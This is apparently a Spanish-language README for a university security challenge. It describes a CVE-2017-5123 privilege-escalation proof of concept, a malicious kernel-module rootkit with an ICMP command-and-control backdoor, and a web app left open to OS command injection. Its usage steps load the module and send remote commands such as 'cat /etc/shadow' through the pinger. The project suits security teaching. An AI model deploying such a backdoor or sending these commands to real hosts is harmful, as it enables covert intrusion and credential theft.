
Este repositorio contiene una demostración de CVE-2017-5123, una puerta trasera de comando y control (C2) por ICMP, y una aplicación web vulnerable a CWE-78 (Inyección de Comandos del Sistema Operativo).
Parte de CSC 4308 - Desafío 3.
Este proyecto demuestra tres componentes distintos de investigación en seguridad:
lkm/rootkit.c)Una prueba de concepto para la vulnerabilidad de la llamada al sistema waitid introducida en el kernel de Linux 4.13. Esta vulnerabilidad permite la escalada de privilegios y la evasión de sandbox.
lkm/lkm.c)Un módulo de kernel de Linux (LKM) malicioso que implementa un canal encubierto de comando y control a través de paquetes ICMP echo (ping).
25678vulnerable-app/)Una aplicación de intercambio de archivos React + Node.js vulnerable a inyección de comandos del sistema operativo.
pinger/data-ping.c)Una utilidad para enviar solicitudes ICMP echo diseñadas con payloads personalizados para comunicarse con la puerta trasera del rootkit de kernel.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Debe ejecutarse como root para usar raw sockets
sudo ./data-ping <ip-objetivo> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Compilar el frontend
cd vulnerable-app/frontend
npm run build
# Copiar la compilación al backend
cp -r build ../backend/
# Iniciar el servidor backend (sirve tanto la API como el frontend)
cd ../backend
npm start
La aplicación estará disponible en http://localhost:3001